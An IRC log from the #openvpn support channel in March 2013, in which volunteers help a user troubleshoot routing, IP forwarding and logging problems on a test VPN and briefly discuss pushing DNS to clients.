07:23 < vaillor> Tue Mar  5 10:32:22 2013 Peer Connection Initiated with [AF_INET]192.168.1.128:1194
07:23 < vaillor> Tue Mar  5 10:32:22 2013 Initialization Sequence Completed
07:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
07:38 -!- latenite [~latenite@138.77.122.195] has joined #openvpn
07:40 <+EugeneKay> !firewall
07:40 <@vpnHelper> "firewall" is (#1) please see http://openvpn.net/man#lbBD for more info or (#2) see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for brief notes on disabling firewall rulesets.
07:40 < vaillor> no
07:40 < vaillor> i don t have iptables
07:42 <+EugeneKay> 99.99% of the time that's the reason
07:43 < vaillor> i have another interfaces
07:43 < vaillor> and ping them
07:43 <+EugeneKay> You're trying to ping across interfaces?
07:43 < vaillor> yes
07:44 <+EugeneKay> You need to enable net.conf.ipv4.all.forwarding in sysctl
07:44 <+EugeneKay> !redirect
07:44 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
07:44 <@vpnHelper> http://ircpimps.org/redirect.png
07:44 <+EugeneKay> !ipforward
07:44 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
07:44 <+EugeneKay> !linipforward
07:44 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
07:44 <+EugeneKay> That one ^
07:45 <+EugeneKay> (actually, net.conf.ipv6.... but that's v6)
07:45 < vaillor> i tried echo 1 > /proc/sys/net/ipv4/ip_forward
07:45 < vaillor> but it don't work the same
07:45 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has joined #openvpn
07:45 <+EugeneKay> Try the redirect flowchart
07:46 < vaillor> i have a ssh daemon on the client
07:46 < vaillor> but it doesn't work with vpn if
07:47 < vaillor> i get a "connection timed out"
07:47 <+EugeneKay> You're skipping around here
07:47 <+EugeneKay> Ping != ssh
07:47 <+EugeneKay> First get ping working(routing and firewalls). Then worry about services
07:48 < vaillor> ok, what i need to do to get ping working?
07:48 <+EugeneKay> I just told you
07:48 < vaillor> !linipforward
07:48 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
07:49 < vaillor> i do not use iptables
07:49 < vaillor> echo 1 > /proc/sys/net/ipv4/ip_forward    after this, i don't get any changes
07:51 <+EugeneKay> <EugeneKay> First get ping working(routing and firewalls).
07:53 < vaillor> EugeneKay, i do not use firewall
07:53 <+EugeneKay> Just because you don't have any rules doesn't mean that it isn't doing anything.
07:56 <+EugeneKay> LOOK at your iptables-save output
07:56 <+EugeneKay> Look at whether you can ping the VPN IP both ways
07:56 <+EugeneKay> Then try pinging your way outwards, making sure you have proper routing set up
07:58 < vaillor> EugeneKay, i already told you that other interfaces works well
07:58 -!- latenite [~latenite@138.77.122.195] has quit [Ping timeout: 276 seconds]
07:58 <+EugeneKay> No, you told me that you couldn't ping them.
08:04 < vaillor> i can't ping only vpn IF
08:06 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
08:11 -!- dazo_afk is now known as dazo
08:23 < vaillor> EugeneKay, what can I do to solve the problem?
08:29 < vaillor> 14:40:10 2013 read UDPv4: Connection reset by peer (WSAECONNRESET) (code=10054)
08:29 < vaillor> this is what i get
08:35 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
08:48 -!- vpopov [~happylife@dyn-60-157.fttbee.kis.ru] has joined #openvpn
08:57 < vaillor> icon's screen are "yellow" what does it means?
09:16 -!- vpopov [~happylife@dyn-60-157.fttbee.kis.ru] has quit [Read error: Operation timed out]
09:28 -!- nonotza [~nonotza@cpe-74-73-224-62.nyc.res.rr.com] has quit [Quit: nonotza]
09:29 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Quit: leaving]
09:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
09:34 -!- micw [~micw@178-24-236-6-dynip.superkabel.de] has quit [Read error: Connection reset by peer]
09:34 -!- vpopov [~happylife@dyn-60-219.fttbee.kis.ru] has joined #openvpn
09:46 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
09:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
10:12 -!- vpopov [~happylife@dyn-60-219.fttbee.kis.ru] has quit [Ping timeout: 255 seconds]
10:13 -!- raidz_away is now known as raidz
10:16 < vaillor> anybody online?
10:16 < dropje> !ask
10:16 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
10:20 < vaillor> i connected served and client
10:20 < vaillor> but is there a problem
10:20 < vaillor> i can't ping
10:21 < vaillor> root@debian-VM:~# ping 10.3.0.1
10:21 < vaillor> PING 10.3.0.1 (10.3.0.1) 56(84) bytes of data.
10:21 < vaillor> From 10.3.0.2 icmp_seq=1 Destination Host Unreachable
10:23 < dropje> vaillor: read the link posted by the bot: http://workaround.org/getting-help-on-irc you can't expect any help posting just this
10:25 -!- marksaitis [~marksaiti@81.101.81.114] has quit [Ping timeout: 248 seconds]
10:26 -!- vpopov [~happylife@46.251.87.237] has joined #openvpn
10:29 < vaillor> i told the problem
10:30 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
10:35 < dropje> vaillor: i have a problem.. i google and it doesnt work. whats wrong?
10:35 < vaillor> [17:20:11] <vaillor> i connected served and client
10:35 < vaillor> [17:20:16] <vaillor> but is there a problem
10:35 < vaillor> [17:20:26] <vaillor> i can't ping
10:36 < dropje> vaillor: i can read.. so what are people in this channel supposed to make of that? well, you have a problem? whats wrong? i haven't got a clue
10:36 < dropje> as you didn't supply any information
10:37 < dropje> !welcome
10:37 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
10:37 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
10:46 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
10:47 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
10:47 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
10:55 -!- JSharpe [~JSharpe@46.165.208.207] has joined #openvpn
11:01 < vaillor> the problem is that i can't ping from server to client
11:01 -!- xtz [xtz@DeathStar.Techn0.eu] has quit [Ping timeout: 245 seconds]
11:01 < vaillor> but i can ping from client to server
11:01 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:01 < vaillor> no, sorry, i'm wrong
11:02 < vaillor> i can't ping in both directions
11:03 -!- Mcloven__ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
11:03 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
11:04 -!- Mcloven_ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
11:07 <+EugeneKay> Non-response to pings is a firewall problem.
11:08 <@krzee> vaillor, if you cant ping either direction, you probably are not on the vpn
11:09 < vaillor> krzee, the screen on the icon are yellow
11:09 <@krzee> aka not-connected
11:10 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
11:10 < vaillor> http://pastebin.com/PSjyd2ii
11:10 < vaillor> this is the log
11:10 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
11:16 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:16 <@krzee> should be more log
11:17 <@krzee> and why are you connecting to a machine on your lan?
11:18 <@krzee> and you need log from server
11:18 <@krzee> !logs
11:18 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:18 <@krzee> verb 5 in the configs
11:19 < vaillor> krzee, i'm trying to test it
11:19 < vaillor> and i have only the lan to do it
11:20 < vaillor> http://pastebin.com/LsmJm5ef
11:20 < vaillor> this is the other side
11:21 <@krzee> verb 5
11:21 < vaillor> both client and server?
11:21 <@krzee> !logs
11:21 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
11:21 <@krzee> whats that say?
11:22 < vaillor> sorry, i'm confusing a all :\
11:22 <@krzee> just read it
11:26 < vaillor> blank screen on windows log
11:26 < vaillor> Tue Mar  5 18:26:34 2013 us=711029 TCP/UDP: Socket bind failed on local address [undef]: Address already in use
11:26 < vaillor> this is on the client
11:26 < vaillor> WTF
11:26 < vaillor> :\
11:27 < vaillor> i so difficult to configure a f*****g vpn? with ipsec i did it less 2 mins
11:27 < vaillor> :\
11:28 < vaillor> with openvpn i'm trying to do it since 4 days
11:29 <+EugeneKay> You have openvpn already running
11:30 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:30 < vaillor> ctrl+z doesn't kill it?
11:30 <@dazo> wow!
11:30 <@dazo> ctrl-z suspends a process ....
11:30 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
11:30 <+EugeneKay> -_-
11:31 < vaillor> oh sorry :\
11:31 < vaillor> so, now is it running
11:32 <@dazo> a suspended process is not running, just waiting to either be brought back to the "foreground" ... or to be allowed to continue to run in the background
11:32 <@dazo> for an openvpn process ... this anyway sounds wrong ... as it should run daemonized
11:32 <@dazo> (--daemon)
11:33 -!- hg_5_ [~chatzilla@91.234.245.245] has joined #openvpn
11:33 <@krzee> that lil outburst won you a /ig lol
11:34 <@dazo> lol
11:34 < vaillor> now, i try to restart my pc
11:34 < vaillor> brb
11:34  * dazo follows krzee's example
11:35 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit []
11:35 <@krzee> lol
11:36 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 245 seconds]
11:36 <@dazo> "whoops! My suspended processes confuses me! It doesn't work any more!  I need to reboot!" ... then you need Unix-101, not openvpn
11:37 <@krzee> ipsec just works when i suspend it!
11:37 <@dazo> lol
11:37 <@krzee> damn you openvpn!
11:37 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 246 seconds]
11:39 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
11:39 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has joined #openvpn
11:39 <+EugeneKay> This guy's issues are deeper than I thought
11:40 <+EugeneKay> I thought it was simple incompetence at reading iptables-save output, based on the log line he gave.
11:43 < vaillor> http://sprunge.us/IREe
11:43 < vaillor> client side
11:44 <@dazo> EugeneKay: There's always /ig as a rescue ;-)
11:44 < vaillor> http://pastebin.com/f0AC3Gy7
11:44 < vaillor> server side
11:45 -!- hg_5_ [~chatzilla@91.234.245.245] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
11:45 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
11:50 < vaillor> so? what's the problem?
11:52 -!- vpopov [~happylife@46.251.87.237] has quit [Read error: No route to host]
11:57 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
12:00 < vaillor> Tue Mar 05 18:42:38 2013 NOTE: failed to obtain options consistency info from peer -- this could occur if the remote peer is running a version of OpenVPN before 1.5-beta8 or if there is a network connectivity problem, and will not necessarily prevent OpenVPN from running (2200 bytes received from peer, 0 bytes authenticated data channel traffic) -- you can disable the options consistency check
12:00 < vaillor> with --disable-occ.
12:06 -!- mirco [~mirco@pd95b6029.dip0.t-ipconnect.de] has left #openvpn []
12:07 < DougEFresh> ecrist:
12:07 < DougEFresh> actually
12:07 < DougEFresh> dazo: ping
12:07 < DougEFresh> are you here?
12:07 <@dazo> DougEFresh: pong
12:08 < DougEFresh> dazo: the *.openvpn.net cert has expired
12:08 < DougEFresh> re: forums throws cert error
12:08 < vaillor> dazo, please, can you tell hwhat's wrong in my configuration?
12:08 <@dazo> DougEFresh: that's raidz and/or mattock's responsibility :)
12:08 < DougEFresh> well, perhaps you could cattle prod them for me
12:08 < DougEFresh> :D
12:08 <@dazo> raidz/mattock: ^^^^^
12:08 < DougEFresh> thank you :D
12:08  * dazo finds the whip :)
12:09 -!- piele [~Unknown@bakzeil.creativeserver.net] has quit [Ping timeout: 276 seconds]
12:09 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
12:10 <@raidz> Hey dazo
12:10 <@dazo> hey!
12:10 < DougEFresh> hello raidz
12:10  * DougEFresh waves
12:10  * DougEFresh posted an announcement for the users for now re: the cert
12:10 <@raidz> Have the cert, need to get it to ecrist or samuli as I don't manage forums server
12:11 -!- p3rror [~mezgani@41.249.23.19] has quit [Ping timeout: 248 seconds]
12:11 <@dazo> and the game is rolling :)
12:11 < DougEFresh> :D
12:11 < DougEFresh> roll roll roll
12:11 < DougEFresh> raidz: do you manage the openvpn main site?
12:12 <@raidz> yup
12:12 < DougEFresh> may i PM?
12:12 < DougEFresh> :o)
12:13 <@raidz> sure!
12:13 <@raidz> ok, sent cert to samuli/ecrist
12:13 < DougEFresh> thank you
12:13 < vaillor> guys, can you please help me finding errors in my configuration?
12:16 -!- master_of_master [~master_of@p4FF24D0D.dip.t-dialin.net] has joined #openvpn
12:17 -!- master_o1_master [~master_of@p4FF249DB.dip.t-dialin.net] has quit [Read error: Operation timed out]
12:29 -!- dazo is now known as dazo_afk
12:30 -!- smerz [~smerz@a177088.upc-a.chello.nl] has joined #openvpn
12:31 -!- Fabius [~Sbratzber@187.110.4.118] has joined #openvpn
12:36 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:46 -!- cornfeedhobo [~cornfeedh@unaffiliated/cornfeed] has left #openvpn ["Once you know what it is you want to be true, instinct is a very useful device for enabling you to know that it is"]
13:01 -!- Devastator [~devas@unaffiliated/devastator] has quit [Read error: Connection reset by peer]
13:01 -!- Devastator- [~devas@177.18.198.56] has joined #openvpn
13:02 -!- Devastator- [~devas@177.18.198.56] has quit [Changing host]
13:02 -!- Devastator- [~devas@unaffiliated/devastator] has joined #openvpn
13:05 -!- Devastator- is now known as Devastator
13:18 < vaillor> anybody forgot me :\
13:22 -!- Fabius [~Sbratzber@187.110.4.118] has quit [Quit: Saindo]
13:24 -!- vaillor [~lol2@2-226-37-187.ip179.fastwebnet.it] has quit []
13:28 -!- Mcloven__ [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Read error: Connection reset by peer]
13:28 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
13:30 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has joined #openvpn
13:39 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
13:49 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 240 seconds]
13:53 -!- zoredache [~zoredache@pdpc/supporter/professional/zoredache] has left #openvpn []
13:55 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has quit [Read error: Connection reset by peer]
14:01 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit []
14:02 -!- MeanderingCode [~Meanderin@71-213-186-243.albq.qwest.net] has joined #openvpn
14:08 -!- Orbi [~opera@109.129.16.115] has joined #openvpn
14:11 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has quit [Ping timeout: 272 seconds]
14:15 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
14:15 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:16 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:16 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:19 -!- tyteen4a03 [tyteen4a03@69.50.229.69] has joined #openvpn
14:21 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit []
14:22 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:22 -!- Valcorb is now known as ffdfsdqg
14:22 -!- ffdfsdqg [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:22 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:23 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
14:23 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
14:25 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 255 seconds]
14:30 -!- voidnecron [~voidnecro@freebsd.xs4all.nl] has joined #openvpn
14:30 -!- voidnecron [~voidnecro@freebsd.xs4all.nl] has quit [Changing host]
14:30 -!- voidnecron [~voidnecro@unaffiliated/necron] has joined #openvpn
14:32 -!- necron [~voidnecro@unaffiliated/necron] has quit [Ping timeout: 260 seconds]
14:37 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
14:39 -!- p3rror [~mezgani@41.249.23.19] has joined #openvpn
14:46 -!- voidnecron [~voidnecro@unaffiliated/necron] has quit []
14:47 -!- dazo_afk is now known as dazo
14:59 -!- p3rror [~mezgani@41.249.23.19] has quit [Ping timeout: 245 seconds]
15:05 -!- p3rror [~mezgani@41.249.23.19] has joined #openvpn
15:06 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
15:06 -!- mode/#openvpn [+o krzee] by ChanServ
15:12 -!- mezgani [~mezgani@41.249.95.234] has joined #openvpn
15:14 -!- p3rror [~mezgani@41.249.23.19] has quit [Ping timeout: 245 seconds]
15:25 -!- mezgani [~mezgani@41.249.95.234] has quit [Quit: Leaving]
15:30 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
15:31 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
15:42 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
15:46 -!- Orbi [~opera@109.129.16.115] has left #openvpn []
15:48 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
15:54 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Ping timeout: 256 seconds]
15:55 -!- albercuba [~albercuba@p57B336C1.dip.t-dialin.net] has joined #openvpn
15:56 < albercuba> hi there
15:56 < albercuba> need some help setting up openvpn server
15:57 < albercuba> !welcome
15:57 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
15:57 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
16:04 <@krzee> !ask
16:04 <@vpnHelper> "ask" is don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc
16:08 -!- speed_racer8 [~speed_rac@c-98-196-168-201.hsd1.tx.comcast.net] has joined #openvpn
--- Log closed Tue Mar 05 16:25:26 2013
--- Log opened Tue Mar 05 16:31:28 2013
16:31 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
16:31 -!- Irssi: #openvpn: Total of 176 nicks [7 ops, 0 halfops, 4 voices, 165 normal]
16:31 -!- mode/#openvpn [+o ecrist] by ChanServ
16:32 -!- randomA [~athena@pool-108-27-215-51.nycmny.fios.verizon.net] has joined #openvpn
16:32 < randomA> hey
16:32 -!- Irssi: Join to #openvpn was synced in 49 secs
16:32 < randomA> i've a problem with my dns showing up on dnsleaktest.com when connected using openvpn.
16:34 < pekster> Why is that a problem? If you're redirecting traffic, your DNS requests are still resolved according to the defined DNS servers your OS uses
16:36 < pekster> You can push DNS options across the tunnel, although local DHCP has a way of messing with that on renewals, and Windows does strange things with DNS anyway since it keeps per-interface DNS servers, not OS global ones
16:36 < pekster> !pushdns
16:36 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
16:36 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
16:39 < randomA> wait...so if my dns is leaking, i'm still anonymous to the websites i visit
16:40 -!- p3rror [~mezgani@41.249.95.234] has joined #openvpn
16:41 -!- albercuba [~albercuba@p57B336C1.dip.t-dialin.net] has quit [Read error: Connection reset by peer]
16:41 < randomA> but i'm using linux...i know ubuntu has a way to do this.
16:42  * pekster suggests you read item #4 more closely the bot gave you
--- Log closed Tue Mar 05 16:44:27 2013
--- Log opened Tue Mar 05 16:57:08 2013
16:57 -!- ecrist [~ecrist@token-black.secure-computing.net] has joined #openvpn
16:57 -!- Irssi: #openvpn: Total of 177 nicks [6 ops, 0 halfops, 4 voices, 167 normal]
16:57 -!- mode/#openvpn [+o ecrist] by ChanServ
16:57 -!- Irssi: Join to #openvpn was synced in 39 secs
16:58 -!- randomA [~athena@pool-108-27-215-51.nycmny.fios.verizon.net] has quit [Quit: Lost terminal]
17:06 -!- Aprogas_ [aprogas@enki.aprogas.net] has joined #openvpn
17:08 -!- Aprogas [aprogas@enki.aprogas.net] has quit [Ping timeout: 256 seconds]
17:25 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 252 seconds]
17:28 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
17:28 -!- mode/#openvpn [+o vpnHelper] by ChanServ
17:39 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:44 -!- dazo is now known as dazo_afk
17:45 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
17:48 -!- n0sq [~quassel@75-135-14-61.dhcp.krny.ne.charter.com] has left #openvpn ["http://quassel-irc.org - Chat comfortably. Anywhere."]
17:56 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
17:58 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:06 -!- marksaitis [~marksaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 252 seconds]
18:06 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 248 seconds]
18:13 -!- kantlivelong [~kantlivel@47.23.189.90] has joined #openvpn
18:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:22 -!- fluter_ [~fluter@fedora/fluter] has joined #openvpn
18:23 -!- fluter_ [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
18:31 -!- JSharpe [~JSharpe@46.165.208.207] has quit [Quit: Leaving]
18:42 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:46 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has joined #openvpn
18:51 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
18:53 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Quit: ChatZilla 0.9.89-rdmsoft [XULRunner 1.9.0.17/2009122204]]
18:58 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
18:59 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
19:03 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
19:04 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 256 seconds]
19:14 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:14 -!- MFSOT [~garret@c-24-34-166-26.hsd1.ma.comcast.net] has quit [Read error: Connection reset by peer]
19:21 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
19:27 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 255 seconds]
19:34 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
19:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:44 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
19:46 -!- raidz is now known as raidz_away
19:53 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
20:00 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
20:14 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
20:28 -!- fluter [~fluter@fedora/fluter] has quit [Quit: Leaving]
20:30 -!- mezgani [~mezgani@41.140.180.37] has joined #openvpn
20:33 -!- p3rror [~mezgani@41.249.95.234] has quit [Ping timeout: 245 seconds]
20:37 -!- mezgani [~mezgani@41.140.180.37] has quit [Quit: Leaving]
21:09 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds]
21:22 -!- kothog [~kothog@unaffiliated/kothog] has quit [Ping timeout: 246 seconds]
21:22 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
21:34 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
21:46 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
22:09 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
22:20 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
22:31 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
22:35 -!- JStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood]
22:52 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
22:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
23:00 -!- JStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
23:16 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Write error: Broken pipe]
23:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
23:23 -!- corretico [~luis@190.211.93.38] has quit [Ping timeout: 264 seconds]
23:40 -!- corretico [~luis@190.211.93.38] has joined #openvpn
23:50 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
23:52 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
23:52 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has quit [Excess Flood]
23:53 -!- fluter [~fluter@fedora/fluter] has quit [Max SendQ exceeded]
23:54 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
23:54 -!- Wulf [~Wulf@unaffiliated/wulf] has joined #openvpn
--- Day changed Wed Mar 06 2013
00:36 -!- Wulf4 [~Wulf@unaffiliated/wulf] has joined #openvpn
00:40 -!- Wulf [~Wulf@unaffiliated/wulf] has quit [Ping timeout: 276 seconds]
01:03 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-lamyntzwqdjvorgy] has quit [Ping timeout: 245 seconds]
01:05 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-obkuahzvfsrfbrdf] has quit [Ping timeout: 245 seconds]
01:07 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-fulzpfazgvsxtjda] has quit [Ping timeout: 245 seconds]
01:26 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
01:39 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
01:43 -!- xtz [xtz@DeathStar.Techn0.eu] has joined #openvpn
02:07 -!- fluter [~fluter@fedora/fluter] has joined #openvpn
